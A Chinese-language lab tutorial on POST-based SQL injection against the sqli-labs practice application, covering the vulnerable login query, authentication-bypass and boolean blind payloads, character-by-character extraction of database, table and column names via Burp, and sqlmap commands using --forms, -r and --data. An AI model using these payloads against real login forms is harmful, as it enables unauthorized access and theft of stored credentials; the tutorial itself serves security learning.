sql注入之POST型注入
-
目录
-
POST型注入原理
-
POST型注入实操
-
sqlmap注入
一. POST型注入原理
1. 源码分析
sqli-labs-master 第10关
过程分析：post传入2个参数uname，paword，然后将2个参数带入sql语句进行查询。语句：
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
查询到的结果进行if条件语句匹配；匹配到的就回显：you Login name：Dump等等；匹配不到就无回显。
2. POST型注入原理
sql语句：
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
正常登录：
注入登录（万能密码）：
select username,password from users where username='admin' and password='password' or '1'='1' limit 0,1;
注入查询（布尔盲注）：（需要揣测用户名）
select username,password from users where username='dumb' and length(database())=8;-- -' and password='' limit 0,1
注入查询（布尔盲注）：（不需要揣测用户名）
select username,password from users where username='1234' and password='1234' or length(database())=8 limit 0,1;
sqlmap使用的是布尔盲注
二. POST型注入实操
靶机：sqli-labs-master 第十三关
POST型注入就是盲注；得先了解盲注才能手工注入
1. 关于POST型手工注入我更喜欢使用burp进行注入
抓取数据包；发送到Repeater
2. 查询注入点
利用万能密码查询注入点和闭合方式；闭合方式为 （' '）
uname=admin&passwd=password') or ('1')=('1&submit=Submit
3. 查询数据库字符数
uname=admin&passwd=password') or length(database())=('8&submit=Submit
得到数据库字符数为：8
4. 查询数据库第一个字符
依次类推，得到数据库名为security
5. 查询数据库下表个数
6. 查询第一个表字符数
7. 查询第一个表第一个字符
根据ascii码得到第一个字符为e；后门依此列得所有表名；其中一个表名users
8. 查询表名users的字段数
同上
9. 查询表名users第一个字段的字符数
同上
10. 查询表名users第一个字段的第一个字符
同上；查询到所有字符后，有2个字符，分别是username，password
11. 查询数据
（1）查询数据的字符数
得到第一列（username~password）组合字符长度为9
（2）查询数据的第一个字符
数据的第一个字符为D，后面同此可以得到所有数据
三. POST型注入sqlmap
靶机：sqli-labs-master 第13关
1. forms指定识别表格注入（登录验证需指定cookie）
主要参数--forms
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-11/" --forms --dbs --batch
2. burp抓包保存txt文件注入（免登录验证）
主要参数 -r
（1）burp抓取数据包
（2）复制到指定路径txt文件
我复制的是：D:\sqlmap\3.txt
（3）sqlmap执行注入
3. 指定POST型参数注入
主要参数：data=""